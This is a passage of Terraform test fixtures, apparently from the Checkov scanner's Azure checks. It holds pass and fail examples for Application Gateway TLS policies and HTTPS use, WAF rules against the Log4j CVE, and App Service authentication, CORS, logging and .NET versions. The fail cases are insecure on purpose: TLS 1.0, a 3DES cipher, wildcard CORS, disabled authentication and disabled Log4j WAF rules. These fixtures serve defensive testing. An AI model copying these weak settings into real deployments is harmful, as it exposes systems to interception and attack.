gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Https" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name priority = 0 } ssl_policy { disabled_protocols = ["TLS_v1_0"] } } //bad ciphers resource "azurerm_application_gateway" "fail3" { name = "example-appgateway-fail3" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Https" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name priority = 0 } ssl_policy { policy_type = "Custom" min_protocol_version = "TLSv1_2" cipher_suites = ["TLS_AES_128_GCM_SHA256","TLS_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA"] } } //bad predefined resource "azurerm_application_gateway" "fail4" { name = "example-appgateway-pass" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Https" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name priority = 0 } ssl_policy { policy_type = "Predefined" policy_name = "20150501" } } //custom resource "azurerm_application_gateway" "pass" { name = "example-appgateway-pass" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Https" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name priority = 0 } ssl_policy { policy_type = "Custom" min_protocol_version = "TLSv1_2" cipher_suites = ["TLS_AES_128_GCM_SHA256","TLS_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"] } } //predefined resource "azurerm_application_gateway" "pass2" { name = "example-appgateway-pass2" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Https" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name priority = 0 } ssl_policy { policy_type = "Predefined" policy_name = "AppGwSslPolicy20220101S" } } resource "azurerm_application_gateway" "pass_dynamic_bug" { enable_http2 = false location = "" name = "" resource_group_name = "" dynamic "ssl_policy" { for_each = var.ssl_policy == null ? [] : [1] content { disabled_protocols = lookup(var.ssl_policy, "disabled_protocols", []) policy_type = lookup(var.ssl_policy, "policy_type", "Predefined") policy_name = lookup(var.ssl_policy, "policy_type") == "Predefined" ? lookup(var.ssl_policy, "policy_name", "AppGwSslPolicy20170401S") : null cipher_suites = lookup(var.ssl_policy, "cipher_suites", []) min_protocol_version = lookup(var.ssl_policy, "min_protocol_version", null) } } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppGWDefinesSecureProtocols/terraform.auto.tfvars ================================================ ssl_policy = { disabled_protocols = [] policy_type = "Custom" cipher_suites = [ "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", ] min_protocol_version = "TLSv1_2" } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppGWDefinesSecureProtocols/variables.tf ================================================ variable "ssl_policy" { description = "bla bla" type = any default = {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppGWUsesHttps/main.tf ================================================ resource "azurerm_resource_group" "example" { name = "example-resources" location = "West Europe" } resource "azurerm_virtual_network" "example" { name = "example-network" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location address_space = ["10.254.0.0/16"] } resource "azurerm_subnet" "frontend" { name = "frontend" resource_group_name = azurerm_resource_group.example.name virtual_network_name = azurerm_virtual_network.example.name address_prefixes = ["10.254.0.0/24"] } resource "azurerm_subnet" "backend" { name = "backend" resource_group_name = azurerm_resource_group.example.name virtual_network_name = azurerm_virtual_network.example.name address_prefixes = ["10.254.2.0/24"] } resource "azurerm_public_ip" "example" { name = "example-pip" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location allocation_method = "Dynamic" } # since these variables are reused - a locals block makes this more maintainable locals { backend_address_pool_name = "${azurerm_virtual_network.example.name}-beap" frontend_port_name = "${azurerm_virtual_network.example.name}-feport" frontend_ip_configuration_name = "${azurerm_virtual_network.example.name}-feip" http_setting_name = "${azurerm_virtual_network.example.name}-be-htst" listener_name = "${azurerm_virtual_network.example.name}-httplstn" request_routing_rule_name = "${azurerm_virtual_network.example.name}-rqrt" redirect_configuration_name = "${azurerm_virtual_network.example.name}-rdrcfg" } resource "azurerm_application_gateway" "fail" { name = "example-appgateway-fail" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Http" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name priority = 0 } } resource "azurerm_application_gateway" "pass" { name = "example-appgateway-pass" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "Standard_Small" tier = "Standard" capacity = 2 } gateway_ip_configuration { name = "my-gateway-ip-configuration" subnet_id = azurerm_subnet.frontend.id } frontend_port { name = local.frontend_port_name port = 80 } frontend_ip_configuration { name = local.frontend_ip_configuration_name public_ip_address_id = azurerm_public_ip.example.id } backend_address_pool { name = local.backend_address_pool_name } backend_http_settings { name = local.http_setting_name cookie_based_affinity = "Disabled" path = "/path1/" port = 80 protocol = "Http" request_timeout = 60 } http_listener { name = local.listener_name frontend_ip_configuration_name = local.frontend_ip_configuration_name frontend_port_name = local.frontend_port_name protocol = "Https" } request_routing_rule { name = local.request_routing_rule_name rule_type = "Basic" http_listener_name = local.listener_name backend_address_pool_name = local.backend_address_pool_name backend_http_settings_name = local.http_setting_name priority = 0 } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppGatewayWAFACLCVE202144228/main.tf ================================================ # pass resource "azurerm_web_application_firewall_policy" "owasp_3_1_default" { location = "germanywestcentral" name = "example" resource_group_name = "example" managed_rules { managed_rule_set { type = "OWASP" version = "3.1" rule_group_override = [{}] } } policy_settings {} } resource "azurerm_web_application_firewall_policy" "owasp_3_2_default" { location = "germanywestcentral" name = "example" resource_group_name = "example" managed_rules { managed_rule_set { type = "OWASP" version = "3.2" } } policy_settings {} } resource "azurerm_web_application_firewall_policy" "version_3_1_default" { location = "germanywestcentral" name = "example" resource_group_name = "example" managed_rules { managed_rule_set { version = "3.2" } } policy_settings {} } resource "azurerm_web_application_firewall_policy" "owasp_3_1_disabled_different" { location = "germanywestcentral" name = "example" resource_group_name = "example" managed_rules { managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-944-APPLICATION-ATTACK-JAVA" disabled_rules = [ "944200", "944210" ] } } } policy_settings {} } resource "azurerm_web_application_firewall_policy" "empty_disabled_rules" { location = "germanywestcentral" name = "example" resource_group_name = "example" managed_rules { managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-944-APPLICATION-ATTACK-JAVA" } } } policy_settings {} } # fail resource "azurerm_web_application_firewall_policy" "owasp_3_0" { location = "germanywestcentral" name = "example" resource_group_name = "example" managed_rules { managed_rule_set { type = "OWASP" version = "3.0" } } policy_settings {} } resource "azurerm_web_application_firewall_policy" "owasp_3_1_disabled" { location = "germanywestcentral" name = "example" resource_group_name = "example" managed_rules { managed_rule_set { type = "OWASP" version = "3.1" rule_group_override { rule_group_name = "REQUEST-944-APPLICATION-ATTACK-JAVA" disabled_rules = [ "944200", "944240" ] } } } policy_settings {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceAlwaysOn/main.tf ================================================ resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { always_on = true } } resource "azurerm_windows_web_app" "pass2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { always_on = false } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config {} } resource "azurerm_linux_web_app" "pass2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { always_on = true } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config { always_on = false } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceAuthentication/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id } resource "azurerm_app_service" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id auth_settings { enabled = false issuer = "https://sts.windows.net/d13958f6-b541-4dad-97b9-5a39c6b01297" default_provider = "AzureActiveDirectory" unauthenticated_client_action = "RedirectToLoginPage" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id auth_settings { enabled = true issuer = "https://sts.windows.net/d13958f6-b541-4dad-97b9-5a39c6b01297" default_provider = "AzureActiveDirectory" unauthenticated_client_action = "RedirectToLoginPage" } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config {} } resource "azurerm_linux_web_app" "fail2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id auth_settings { enabled = false } site_config {} } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id auth_settings { enabled = true } site_config {} } resource "azurerm_linux_web_app" "pass2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id auth_settings_v2 { auth_enabled = true } site_config {} } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config {} } resource "azurerm_windows_web_app" "fail2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id auth_settings { enabled = false } site_config {} } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id auth_settings { enabled = true } site_config {} } resource "azurerm_windows_web_app" "pass2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id auth_settings_v2 { auth_enabled = true } site_config {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceClientCertificate/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id } resource "azurerm_app_service" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id client_cert_enabled = false } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id client_cert_enabled = true } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = false site_config {} } resource "azurerm_linux_web_app" "fail2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id auth_settings { enabled = false } site_config {} } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = true auth_settings { enabled = true } site_config {} } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config {} } resource "azurerm_windows_web_app" "fail2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = false auth_settings { enabled = false } site_config {} } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = true auth_settings { enabled = true } site_config {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceDetailedErrorMessagesEnabled/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } logs { application_logs { azure_blob_storage { level = "warning" sas_url = "www.example.com" retention_in_days = 4 } } } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } app_settings = { "SOME_KEY" = "some-value" } logs { application_logs { azure_blob_storage { level = "warning" sas_url = "www.example.com" retention_in_days = 4 } } detailed_error_messages_enabled = false } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "fail3" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id logs { http_logs { retention_in_days = 4 retention_in_mb = 10 } detailed_error_messages_enabled = true } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } logs { detailed_error_messages_enabled = true } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { detailed_error_messages = true } client_certificate_enabled = true auth_settings { enabled = true } site_config {} } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { detailed_error_messages = false } client_certificate_enabled = true auth_settings { enabled = true } site_config {} } resource "azurerm_linux_web_app" "fail2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = true auth_settings { enabled = true } site_config {} } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { detailed_error_messages = true } site_config {} } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { detailed_error_messages = false } site_config {} } resource "azurerm_windows_web_app" "fail2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceDisallowCORS/main.tf ================================================ resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" cors { allowed_origins = ["*"] } } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" cors { allowed_origins = ["192.0.0.1"] } } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_app_service" "pass2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id site_config { dotnet_framework_version = "v4.0" scm_type = "LocalGit" } app_settings = { "SOME_KEY" = "some-value" } connection_string { name = "Database" type = "SQLServer" value = "Server=some-server.mydomain.com;Integrated Security=SSPI" } } resource "azurerm_linux_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { detailed_error_messages = true } client_certificate_enabled = true auth_settings { enabled = true } site_config { cors { allowed_origins = ["192.0.0.1"] } } } resource "azurerm_linux_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { detailed_error_messages = false } client_certificate_enabled = true auth_settings { enabled = true } site_config { cors { allowed_origins = ["*"] } } } resource "azurerm_linux_web_app" "pass2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id client_certificate_enabled = true auth_settings { enabled = true } site_config {} } resource "azurerm_windows_web_app" "pass" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { detailed_error_messages = true } site_config { cors { allowed_origins = ["192.0.0.1"] } } } resource "azurerm_windows_web_app" "fail" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id logs { detailed_error_messages = false } site_config { cors { allowed_origins = ["*"] } } } resource "azurerm_windows_web_app" "pass2" { name = "example" resource_group_name = azurerm_resource_group.example.name location = azurerm_service_plan.example.location service_plan_id = azurerm_service_plan.example.id site_config {} } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceDotnetFrameworkVersion/main.tf ================================================ # FAIL - v5.0 is EOL resource "azurerm_app_service" "fail" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { dotnet_framework_version = "v5.0" scm_type = "someValue" } } # FAIL - v6.0 is EOL as of November 2024 resource "azurerm_app_service" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { dotnet_framework_version = "v6.0" scm_type = "someValue" } } # PASS - v8.0 is LTS (supported until November 2026) resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { dotnet_framework_version = "v8.0" scm_type = "someValue" } } # PASS - v9.0 is STS (supported until May 2026) resource "azurerm_app_service" "pass2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { dotnet_framework_version = "v9.0" scm_type = "someValue" } } # PASS - v10.0 is the latest version resource "azurerm_app_service" "pass3" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { dotnet_framework_version = "v10.0" scm_type = "someValue" } } # IGNORE - uses Java, not .NET resource "azurerm_app_service" "ignore" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { java_version = "11" java_container = "Tomcat" java_container_version = 10.0 http2_enabled = true ftps_state ="FtpsOnly" } } # PASS - v8.0 via application_stack resource "azurerm_windows_web_app" "pass" { #checkov:skip=CKV_AZURE_16: AD might not be required name = var.name location = var.location resource_group_name = var.rg_name service_plan_id = var.service_plan_id https_only = true logs { detailed_error_messages = true failed_request_tracing = true http_logs { file_system { retention_in_days = 4 retention_in_mb = 25 } } } storage_account { name = var.storage.name type = var.storage.store_type account_name = var.storage.account_name share_name = var.storage.share_name access_key = var.storage.access_key mount_path = var.storage.mount_path } site_config { ftps_state = "FtpsOnly" http2_enabled = true health_check_path = var.health_check_path application_stack { dotnet_version = "v8.0" } } client_certificate_enabled = true auth_settings { enabled = true } identity { type = "SystemAssigned" } } # PASS - v9.0 via application_stack resource "azurerm_windows_web_app" "pass2" { #checkov:skip=CKV_AZURE_16: AD might not be required name = var.name location = var.location resource_group_name = var.rg_name service_plan_id = var.service_plan_id https_only = true logs { detailed_error_messages = true failed_request_tracing = true http_logs { file_system { retention_in_days = 4 retention_in_mb = 25 } } } storage_account { name = var.storage.name type = var.storage.store_type account_name = var.storage.account_name share_name = var.storage.share_name access_key = var.storage.access_key mount_path = var.storage.mount_path } site_config { ftps_state = "FtpsOnly" http2_enabled = true health_check_path = var.health_check_path application_stack { dotnet_version = "v9.0" } } client_certificate_enabled = true auth_settings { enabled = true } identity { type = "SystemAssigned" } } # PASS - v10.0 via application_stack resource "azurerm_windows_web_app" "pass3" { #checkov:skip=CKV_AZURE_16: AD might not be required name = var.name location = var.location resource_group_name = var.rg_name service_plan_id = var.service_plan_id https_only = true logs { detailed_error_messages = true failed_request_tracing = true http_logs { file_system { retention_in_days = 4 retention_in_mb = 25 } } } storage_account { name = var.storage.name type = var.storage.store_type account_name = var.storage.account_name share_name = var.storage.share_name access_key = var.storage.access_key mount_path = var.storage.mount_path } site_config { ftps_state = "FtpsOnly" http2_enabled = true health_check_path = var.health_check_path application_stack { dotnet_version = "v10.0" } } client_certificate_enabled = true auth_settings { enabled = true } identity { type = "SystemAssigned" } } # FAIL - v2.0 is EOL resource "azurerm_windows_web_app" "fail" { #checkov:skip=CKV_AZURE_16: AD might not be required name = var.name location = var.location resource_group_name = var.rg_name service_plan_id = var.service_plan_id https_only = true logs { detailed_error_messages = true failed_request_tracing = true http_logs { file_system { retention_in_days = 4 retention_in_mb = 25 } } } storage_account { name = var.storage.name type = var.storage.store_type account_name = var.storage.account_name share_name = var.storage.share_name access_key = var.storage.access_key mount_path = var.storage.mount_path } site_config { ftps_state = "FtpsOnly" http2_enabled = true health_check_path = var.health_check_path application_stack { dotnet_version = "v2.0" } } client_certificate_enabled = true auth_settings { enabled = true } identity { type = "SystemAssigned" } } # FAIL - v6.0 is EOL via application_stack resource "azurerm_windows_web_app" "fail2" { #checkov:skip=CKV_AZURE_16: AD might not be required name = var.name location = var.location resource_group_name = var.rg_name service_plan_id = var.service_plan_id https_only = true logs { detailed_error_messages = true failed_request_tracing = true http_logs { file_system { retention_in_days = 4 retention_in_mb = 25 } } } storage_account { name = var.storage.name type = var.storage.store_type account_name = var.storage.account_name share_name = var.storage.share_name access_key = var.storage.access_key mount_path = var.storage.mount_path } site_config { ftps_state = "FtpsOnly" http2_enabled = true health_check_path = var.health_check_path application_stack { dotnet_version = "v6.0" } } client_certificate_enabled = true auth_settings { enabled = true } identity { type = "SystemAssigned" } } # IGNORE - no dotnet version specified resource "azurerm_windows_web_app" "ignore" { #checkov:skip=CKV_AZURE_16: AD might not be required name = var.name location = var.location resource_group_name = var.rg_name service_plan_id = var.service_plan_id https_only = true logs { detailed_error_messages = true failed_request_tracing = true http_logs { file_system { retention_in_days = 4 retention_in_mb = 25 } } } storage_account { name = var.storage.name type = var.storage.store_type account_name = var.storage.account_name share_name = var.storage.share_name access_key = var.storage.access_key mount_path = var.storage.mount_path } site_config { ftps_state = "FtpsOnly" http2_enabled = true health_check_path = var.health_check_path } client_certificate_enabled = true auth_settings { enabled = true } identity { type = "SystemAssigned" } } ================================================ FILE: tests/terraform/checks/resource/azure/example_AppServiceEnableFailedRequest/main.tf ================================================ resource "azurerm_app_service" "fail3" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true logs { failed_request_tracing_enabled = false } } resource "azurerm_app_service" "pass" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true logs { failed_request_tracing_enabled = true } storage_account { name = "test_name" type = "AzureFiles" account_name = "test_account_name" share_name = "test_share_name" access_key = "test_access_key" } } resource "azurerm_app_service" "fail2" { name = "example-app-service" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name app_service_plan_id = azurerm_app_service_plan.example.id https_only = true site_config { scm_type = "someValue" } logs { 